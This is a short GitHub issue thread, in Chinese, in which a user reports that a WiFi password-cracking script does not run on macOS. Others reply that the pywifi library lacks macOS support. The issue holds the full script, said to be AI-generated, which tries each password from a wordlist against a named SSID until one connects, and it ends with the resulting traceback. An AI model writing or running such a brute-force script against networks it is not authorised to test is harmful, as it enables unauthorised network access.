macos 有跑通的么?
sreio opened this issue · 2 comments
sreio commented
我简单尝试了一下没有跑通
python版本:Python 3.12.5
pip版本:pip 24.2
pywifi版本:pywifi 1.1.12
代码如下,代码是kimi生成的
import sys
import time
from pywifi import PyWiFi, const, Profile
def connect_to_wifi(ssid, password):
wifi = PyWiFi()
ifaces = wifi.interfaces()[0]
ifaces.disconnect()
time.sleep(1) # Wait for disconnection
profile = Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
ifaces.remove_all_network_profiles()
ifaces.add_network_profile(profile)
ifaces.connect(profile)
time.sleep(3) # Wait for connection
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
def crack_wifi(ssid, password_file_path):
with open(password_file_path, 'r') as file:
for password in file:
password = password.strip()
if connect_to_wifi(ssid, password):
print(f"Success! Password for SSID {ssid} is: {password}")
return
print(f"Failed to crack WiFi: {ssid}")
def main():
if len(sys.argv) < 3:
print("Usage: python wifi_cracker.py <SSID> <password_file>")
return
ssid = sys.argv[1]
password_file = sys.argv[2]
print(f"Starting WiFi crack for SSID: {ssid} using password file: {password_file}")
crack_wifi(ssid, password_file)
if __name__ == "__main__":
main()
报错:
Traceback (most recent call last):
File "/python/wifi-pojie/main.py", line 3, in <module>
from pywifi import PyWiFi, const, Profile
File "/python/wifi-pojie/.venv/lib/python3.12/site-packages/pywifi/__init__.py", line 15, in <module>
from .wifi import PyWiFi
File "/python/wifi-pojie/.venv/lib/python3.12/site-packages/pywifi/wifi.py", line 15, in <module>
from .iface import Interface
File "/python/wifi-pojie/.venv/lib/python3.12/site-packages/pywifi/iface.py", line 15, in <module>
raise NotImplementedError
NotImplementedError
baihengaead commented
看样子pywifi应该不支持macos,只能改一下pywifi或者用其它模块代替了
sreio commented
看样子pywifi应该不支持macos,只能改一下pywifi或者用其他模块代替了
恩恩,改天换个方案试试了